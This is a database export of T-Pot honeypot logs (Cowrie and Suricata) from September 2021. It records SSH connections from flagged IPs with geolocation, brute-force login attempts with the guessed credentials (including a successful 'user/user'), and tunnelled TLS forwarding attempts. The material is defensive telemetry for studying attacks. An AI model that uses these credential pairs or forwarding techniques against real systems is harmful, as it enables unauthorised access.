".......(v.6..............(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
28204	87.112.251.105	109.199.241.180	Cowrie	2021-09-20 14:16:26.504792+03	2021-09-20 14:30:02.521526+03	{"_id": "3wbrAnwBvYTbRNuE5iy0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "87.112.251.105", "asn": 6871, "as_org": "British Telecommunications PLC", "latitude": 53.75, "location": {"lat": 53.75, "lon": -2.4833}, "timezone": "Europe/London", "city_name": "Blackburn", "longitude": -2.4833, "postal_code": "BB1", "region_code": "BBD", "region_name": "Blackburn with Darwen", "country_name": "United Kingdom", "country_code2": "GB", "country_code3": "GB", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "87.112.251.105", "eventid": "cowrie.session.closed", "message": "Connection lost after 20 seconds", "session": "2024beaab466", "@version": "1", "duration": 20.113744258880615, "timestamp": "2021-09-20T11:16:26.504792Z", "@timestamp": "2021-09-20T11:16:26.504Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
28205	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:16:26.625951+03	2021-09-20 14:30:02.523553+03	{"_id": "4AbrAnwBvYTbRNuE5iy0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.session.closed", "message": "Connection lost after 4 seconds", "session": "b2f77d7057df", "@version": "1", "duration": 4.930926561355591, "timestamp": "2021-09-20T11:16:26.625951Z", "@timestamp": "2021-09-20T11:16:26.625Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
28206	8.9.231.227	109.199.241.180	Cowrie	2021-09-20 14:16:29.494109+03	2021-09-20 14:30:02.524554+03	{"_id": "5QbrAnwBvYTbRNuE8ixu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "8.9.231.227", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "dma_code": 511, "latitude": 39.0481, "location": {"lat": 39.0481, "lon": -77.4728}, "timezone": "America/New_York", "city_name": "Ashburn", "longitude": -77.4728, "postal_code": "20149", "region_code": "VA", "region_name": "Virginia", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "8.9.231.227", "dest_ip": "213.174.157.83", "eventid": "cowrie.direct-tcpip.request", "message": "direct-tcp connection request to 213.174.157.83:443 from 127.0.0.1:49266", "session": "b961918efaae", "@version": "1", "src_port": 49266, "dest_port": 443, "timestamp": "2021-09-20T11:16:29.494109Z", "@timestamp": "2021-09-20T11:16:29.494Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.direct-tcpip.request	\N	\N	\N
28207	8.9.231.227	109.199.241.180	Cowrie	2021-09-20 14:16:29.737383+03	2021-09-20 14:30:02.525554+03	{"_id": "5wbrAnwBvYTbRNuE8ixv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"id": 2, "data": "b'\\\\x16\\\\x03\\\\x01\\\\x02\\\\x00\\\\x01\\\\x00\\\\x01\\\\xfc\\\\x03\\\\x03%&\\\\xc1)\\\\xc48\\\\x1b(a\\\\x86\\\\xa3<~\\\\x8e\\\\x18\\\\xfaNf\\\\x19\\\\t\\\\xf6\\\\xa7@\\\\xbb\\\\xb3~\\\\xe9}l\\\\xaf\\\\x8e\\\\xc1 \\\\x7f\\\\xa5f\\\\x8fS\\\\x8b\\\\xa6\\\\xce/\\\\xb5X\\\\x94\\\\x12\\\\xa0\\\\xb8\\\\xb2\\\\x00f\\\\x7f\\\\x88~%e \\\\xd3Q:\\\\xb7#\\\\xd2`!\\\\x00\\\\x1c\\\\x13\\\\x01\\\\x13\\\\x03\\\\x13\\\\x02\\\\xc0+\\\\xc0/\\\\xcc\\\\xa9\\\\xcc\\\\xa8\\\\xc0,\\\\xc00\\\\xc0\\\\x13\\\\xc0\\\\x14\\\\x00/\\\\x005\\\\x00\\\\n\\\\x01\\\\x00\\\\x01\\\\x97\\\\x00\\\\x00\\\\x00\\\\x13\\\\x00\\\\x11\\\\x00\\\\x00\\\\x0etsyndicate.com\\\\x00\\\\x17\\\\x00\\\\x00\\\\xff\\\\x01\\\\x00\\\\x01\\\\x00\\\\x00\\\\n\\\\x00\\\\x0e\\\\x00\\\\x0c\\\\x00\\\\x1d\\\\x00\\\\x17\\\\x00\\\\x18\\\\x00\\\\x19\\\\x01\\\\x00\\\\x01\\\\x01\\\\x00\\\\x0b\\\\x00\\\\x02\\\\x01\\\\x00\\\\x00#\\\\x00\\\\x00\\\\x00\\\\x10\\\\x00\\\\x0e\\\\x00\\\\x0c\\\\x02h2\\\\x08http/1.1\\\\x00\\\\x05\\\\x00\\\\x05\\\\x01\\\\x00\\\\x00\\\\x00\\\\x00\\\\x003\\\\x00k\\\\x00i\\\\x00\\\\x1d\\\\x00 \\\\x90\\"tn\\\\xfd4`S\\\\x8bac\\\\x99\\\\xec\\\\x19\\\\xd3x\\\\xa6#\\\\xfe\\\\x90y\\\\x1d\\\\xe7\\\\xf5\\\\x9d\\\\xf0\\\\xb8\\\\x81\\\\x81!\\\\xf9b\\\\x00\\\\x17\\\\x00A\\\\x04\\\\x18\\\\xbdlE\\\\xe4?\\\\xbe\\\\xfb\\\\xd2D\\\\xa0^#\\\\\\\\\\\\xd1j\\\\xbb\\\\xe2b\\\\xf4o\\\\xcc\\\\x8a\\\\x8b?\\\\x984s\\\\x82\\\\x19E\\"\\\\xfcO\\\\x93w\\\\xeatM\\\\x80~O\\\\x1e@\\\\xa5\\\\x97\\\\x9d\\\\x13t\\\\x82?\\\\x9bJ\\\\x12\\\\x82\\\\xd4\\\\xe3u\\\\xe6?@\\\\xaaz\\\\x80\\\\x00+\\\\x00\\\\t\\\\x08\\\\x7f\\\\x17\\\\x03\\\\x03\\\\x03\\\\x02\\\\x03\\\\x01\\\\x00\\\\r\\\\x00\\\\x18\\\\x00\\\\x16\\\\x04\\\\x03\\\\x05\\\\x03\\\\x06\\\\x03\\\\x08\\\\x04\\\\x08\\\\x05\\\\x08\\\\x06\\\\x04\\\\x01\\\\x05\\\\x01\\\\x06\\\\x01\\\\x02\\\\x03\\\\x02\\\\x01\\\\x00-\\\\x00\\\\x02\\\\x01\\\\x01\\\\x00\\\\x15\\\\x00\\\\x9e\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00'", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "8.9.231.227", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "dma_code": 511, "latitude": 39.0481, "location": {"lat": 39.0481, "lon": -77.4728}, "timezone": "America/New_York", "city_name": "Ashburn", "longitude": -77.4728, "postal_code": "20149", "region_code": "VA", "region_name": "Virginia", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "8.9.231.227", "dest_ip": "213.174.157.83", "eventid": "cowrie.direct-tcpip.data", "message": "discarded direct-tcp forward request 2 to 213.174.157.83:443 with data b'\\\\x16\\\\x03\\\\x01\\\\x02\\\\x00\\\\x01\\\\x00\\\\x01\\\\xfc\\\\x03\\\\x03%&\\\\xc1)\\\\xc48\\\\x1b(a\\\\x86\\\\xa3<~\\\\x8e\\\\x18\\\\xfaNf\\\\x19\\\\t\\\\xf6\\\\xa7@\\\\xbb\\\\xb3~\\\\xe9}l\\\\xaf\\\\x8e\\\\xc1 \\\\x7f\\\\xa5f\\\\x8fS\\\\x8b\\\\xa6\\\\xce/\\\\xb5X\\\\x94\\\\x12\\\\xa0\\\\xb8\\\\xb2\\\\x00f\\\\x7f\\\\x88~%e \\\\xd3Q:\\\\xb7#\\\\xd2`!\\\\x00\\\\x1c\\\\x13\\\\x01\\\\x13\\\\x03\\\\x13\\\\x02\\\\xc0+\\\\xc0/\\\\xcc\\\\xa9\\\\xcc\\\\xa8\\\\xc0,\\\\xc00\\\\xc0\\\\x13\\\\xc0\\\\x14\\\\x00/\\\\x005\\\\x00\\\\n\\\\x01\\\\x00\\\\x01\\\\x97\\\\x00\\\\x00\\\\x00\\\\x13\\\\x00\\\\x11\\\\x00\\\\x00\\\\x0etsyndicate.com\\\\x00\\\\x17\\\\x00\\\\x00\\\\xff\\\\x01\\\\x00\\\\x01\\\\x00\\\\x00\\\\n\\\\x00\\\\x0e\\\\x00\\\\x0c\\\\x00\\\\x1d\\\\x00\\\\x17\\\\x00\\\\x18\\\\x00\\\\x19\\\\x01\\\\x00\\\\x01\\\\x01\\\\x00\\\\x0b\\\\x00\\\\x02\\\\x01\\\\x00\\\\x00#\\\\x00\\\\x00\\\\x00\\\\x10\\\\x00\\\\x0e\\\\x00\\\\x0c\\\\x02h2\\\\x08http/1.1\\\\x00\\\\x05\\\\x00\\\\x05\\\\x01\\\\x00\\\\x00\\\\x00\\\\x00\\\\x003\\\\x00k\\\\x00i\\\\x00\\\\x1d\\\\x00 \\\\x90\\"tn\\\\xfd4`S\\\\x8bac\\\\x99\\\\xec\\\\x19\\\\xd3x\\\\xa6#\\\\xfe\\\\x90y\\\\x1d\\\\xe7\\\\xf5\\\\x9d\\\\xf0\\\\xb8\\\\x81\\\\x81!\\\\xf9b\\\\x00\\\\x17\\\\x00A\\\\x04\\\\x18\\\\xbdlE\\\\xe4?\\\\xbe\\\\xfb\\\\xd2D\\\\xa0^#\\\\\\\\\\\\xd1j\\\\xbb\\\\xe2b\\\\xf4o\\\\xcc\\\\x8a\\\\x8b?\\\\x984s\\\\x82\\\\x19E\\"\\\\xfcO\\\\x93w\\\\xeatM\\\\x80~O\\\\x1e@\\\\xa5\\\\x97\\\\x9d\\\\x13t\\\\x82?\\\\x9bJ\\\\x12\\\\x82\\\\xd4\\\\xe3u\\\\xe6?@\\\\xaaz\\\\x80\\\\x00+\\\\x00\\\\t\\\\x08\\\\x7f\\\\x17\\\\x03\\\\x03\\\\x03\\\\x02\\\\x03\\\\x01\\\\x00\\\\r\\\\x00\\\\x18\\\\x00\\\\x16\\\\x04\\\\x03\\\\x05\\\\x03\\\\x06\\\\x03\\\\x08\\\\x04\\\\x08\\\\x05\\\\x08\\\\x06\\\\x04\\\\x01\\\\x05\\\\x01\\\\x06\\\\x01\\\\x02\\\\x03\\\\x02\\\\x01\\\\x00-\\\\x00\\\\x02\\\\x01\\\\x01\\\\x00\\\\x15\\\\x00\\\\x9e\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00'", "session": "b961918efaae", "@version": "1", "dest_port": 443, "timestamp": "2021-09-20T11:16:29.737383Z", "@timestamp": "2021-09-20T11:16:29.737Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.direct-tcpip.data	\N	\N	\N
28208	8.9.231.227	109.199.241.180	Cowrie	2021-09-20 14:16:30.059378+03	2021-09-20 14:30:02.527524+03	{"_id": "6QbrAnwBvYTbRNuE9ixX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"id": 4, "data": "b'\\\\x16\\\\x03\\\\x01\\\\x00\\\\xba\\\\x01\\\\x00\\\\x00\\\\xb6\\\\x03\\\\x03\\\\x02\\\\x15\\\\xb6j\\\\xf6\\\\xa2:f\\\\x16m8s@Cw\\\\xef\\\\xb7\\\\x15\\\\x10~&\\\\x19\\\\xacv\\\\x1b\\\\x8d\\\\xc6\\\\xd5\\\\xc3[\\\\xfb\\\\xcd\\\\x00\\\\x00\\\\x1e\\\\xc0+\\\\xc0/\\\\xcc\\\\xa9\\\\xcc\\\\xa8\\\\xc0,\\\\xc00\\\\xc0\\\\n\\\\xc0\\\\t\\\\xc0\\\\x13\\\\xc0\\\\x14\\\\x003\\\\x009\\\\x00/\\\\x005\\\\x00\\\\n\\\\x01\\\\x00\\\\x00o\\\\x00\\\\x00\\\\x00\\\\x13\\\\x00\\\\x11\\\\x00\\\\x00\\\\x0etsyndicate.com\\\\x00\\\\x17\\\\x00\\\\x00\\\\xff\\\\x01\\\\x00\\\\x01\\\\x00\\\\x00\\\\n\\\\x00\\\\n\\\\x00\\\\x08\\\\x00\\\\x1d\\\\x00\\\\x17\\\\x00\\\\x18\\\\x00\\\\x19\\\\x00\\\\x0b\\\\x00\\\\x02\\\\x01\\\\x00\\\\x00#\\\\x00\\\\x00\\\\x00\\\\x10\\\\x00\\\\x0e\\\\x00\\\\x0c\\\\x02h2\\\\x08http/1.1\\\\x00\\\\x05\\\\x00\\\\x05\\\\x01\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\r\\\\x00\\\\x18\\\\x00\\\\x16\\\\x04\\\\x03\\\\x05\\\\x03\\\\x06\\\\x03\\\\x08\\\\x04\\\\x08\\\\x05\\\\x08\\\\x06\\\\x04\\\\x01\\\\x05\\\\x01\\\\x06\\\\x01\\\\x02\\\\x03\\\\x02\\\\x01'", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "8.9.231.227", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "dma_code": 511, "latitude": 39.0481, "location": {"lat": 39.0481, "lon": -77.4728}, "timezone": "America/New_York", "city_name": "Ashburn", "longitude": -77.4728, "postal_code": "20149", "region_code": "VA", "region_name": "Virginia", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "8.9.231.227", "dest_ip": "213.174.157.83", "eventid": "cowrie.direct-tcpip.data", "message": "discarded direct-tcp forward request 4 to 213.174.157.83:443 with data b'\\\\x16\\\\x03\\\\x01\\\\x00\\\\xba\\\\x01\\\\x00\\\\x00\\\\xb6\\\\x03\\\\x03\\\\x02\\\\x15\\\\xb6j\\\\xf6\\\\xa2:f\\\\x16m8s@Cw\\\\xef\\\\xb7\\\\x15\\\\x10~&\\\\x19\\\\xacv\\\\x1b\\\\x8d\\\\xc6\\\\xd5\\\\xc3[\\\\xfb\\\\xcd\\\\x00\\\\x00\\\\x1e\\\\xc0+\\\\xc0/\\\\xcc\\\\xa9\\\\xcc\\\\xa8\\\\xc0,\\\\xc00\\\\xc0\\\\n\\\\xc0\\\\t\\\\xc0\\\\x13\\\\xc0\\\\x14\\\\x003\\\\x009\\\\x00/\\\\x005\\\\x00\\\\n\\\\x01\\\\x00\\\\x00o\\\\x00\\\\x00\\\\x00\\\\x13\\\\x00\\\\x11\\\\x00\\\\x00\\\\x0etsyndicate.com\\\\x00\\\\x17\\\\x00\\\\x00\\\\xff\\\\x01\\\\x00\\\\x01\\\\x00\\\\x00\\\\n\\\\x00\\\\n\\\\x00\\\\x08\\\\x00\\\\x1d\\\\x00\\\\x17\\\\x00\\\\x18\\\\x00\\\\x19\\\\x00\\\\x0b\\\\x00\\\\x02\\\\x01\\\\x00\\\\x00#\\\\x00\\\\x00\\\\x00\\\\x10\\\\x00\\\\x0e\\\\x00\\\\x0c\\\\x02h2\\\\x08http/1.1\\\\x00\\\\x05\\\\x00\\\\x05\\\\x01\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\r\\\\x00\\\\x18\\\\x00\\\\x16\\\\x04\\\\x03\\\\x05\\\\x03\\\\x06\\\\x03\\\\x08\\\\x04\\\\x08\\\\x05\\\\x08\\\\x06\\\\x04\\\\x01\\\\x05\\\\x01\\\\x06\\\\x01\\\\x02\\\\x03\\\\x02\\\\x01'", "session": "b961918efaae", "@version": "1", "dest_port": 443, "timestamp": "2021-09-20T11:16:30.059378Z", "@timestamp": "2021-09-20T11:16:30.059Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.direct-tcpip.data	\N	\N	\N
28209	190.201.223.33	109.199.241.180	Cowrie	2021-09-20 14:16:31.790987+03	2021-09-20 14:30:02.528524+03	{"_id": "8gbrAnwBvYTbRNuE-ixA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "190.201.223.33", "asn": 8048, "as_org": "CANTV Servicios, Venezuela", "latitude": 8.0, "location": {"lat": 8.0, "lon": -66.0}, "timezone": "America/Caracas", "longitude": -66.0, "country_name": "Venezuela", "country_code2": "VE", "country_code3": "VE", "continent_code": "SA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "190.201.223.33", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "ddc5e22cd61c", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:16:31.790987Z", "@timestamp": "2021-09-20T11:16:31.790Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
28210	95.85.8.215	109.199.241.180	Suricata	2021-09-20 14:16:32.089214+03	2021-09-20 14:30:02.530523+03	{"_id": "9AbrAnwBvYTbRNuE_CwN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "95.85.8.215", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 52.2977, "location": {"lat": 52.2977, "lon": 4.9562}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9562, "postal_code": "1105", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "95.85.8.215", "dest_ip": "192.168.20.116", "flow_id": 729053209243422, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 54461, "dest_port": 22, "timestamp": "2021-09-20T11:16:32.089214Z", "@timestamp": "2021-09-20T11:16:32.089Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
28211	95.85.8.215	109.199.241.180	Cowrie	2021-09-20 14:16:32.040822+03	2021-09-20 14:30:02.531524+03	{"_id": "_wbrAnwBvYTbRNuE_iwq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "95.85.8.215", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 52.2977, "location": {"lat": 52.2977, "lon": 4.9562}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9562, "postal_code": "1105", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "95.85.8.215", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 95.85.8.215:54461 (192.168.176.2:22) [session: 3e0c52b68214]", "session": "3e0c52b68214", "@version": "1", "protocol": "ssh", "src_port": 54461, "dest_port": 22, "timestamp": "2021-09-20T11:16:32.040822Z", "@timestamp": "2021-09-20T11:16:32.040Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
28212	95.85.8.215	109.199.241.180	Cowrie	2021-09-20 14:16:32.383193+03	2021-09-20 14:30:02.532524+03	{"_id": "-wbrAnwBvYTbRNuE_iwp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "95.85.8.215", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 52.2977, "location": {"lat": 52.2977, "lon": 4.9562}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9562, "postal_code": "1105", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "95.85.8.215", "eventid": "cowrie.login.failed", "message": "login attempt [root/its] failed", "session": "3e0c52b68214", "@version": "1", "password": "its", "username": "root", "timestamp": "2021-09-20T11:16:32.383193Z", "@timestamp": "2021-09-20T11:16:32.383Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
28213	8.9.231.227	109.199.241.180	Cowrie	2021-09-20 14:16:26.214871+03	2021-09-20 14:30:02.534524+03	{"_id": "4QbrAnwBvYTbRNuE5iy0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "8.9.231.227", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "dma_code": 511, "latitude": 39.0481, "location": {"lat": 39.0481, "lon": -77.4728}, "timezone": "America/New_York", "city_name": "Ashburn", "longitude": -77.4728, "postal_code": "20149", "region_code": "VA", "region_name": "Virginia", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "8.9.231.227", "eventid": "cowrie.login.success", "message": "login attempt [user/user] succeeded", "session": "b961918efaae", "@version": "1", "password": "user", "username": "user", "timestamp": "2021-09-20T11:16:26.214871Z", "@timestamp": "2021-09-20T11:16:26.214Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.success	\N	\N	\N
28214	95.85.8.215	109.199.241.180	Cowrie	2021-09-20 14:16:33.43196+03	2021-09-20 14:30:02.536524+03	{"_id": "CAbsAnwBvYTbRNuEAi0S", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "95.85.8.215", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 52.2977, "location": {"lat": 52.2977, "lon": 4.9562}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9562, "postal_code": "1105", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "95.85.8.215", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "3e0c52b68214", "@version": "1", "duration": 1.3886866569519043, "timestamp": "2021-09-20T11:16:33.431960Z", "@timestamp": "2021-09-20T11:16:33.431Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
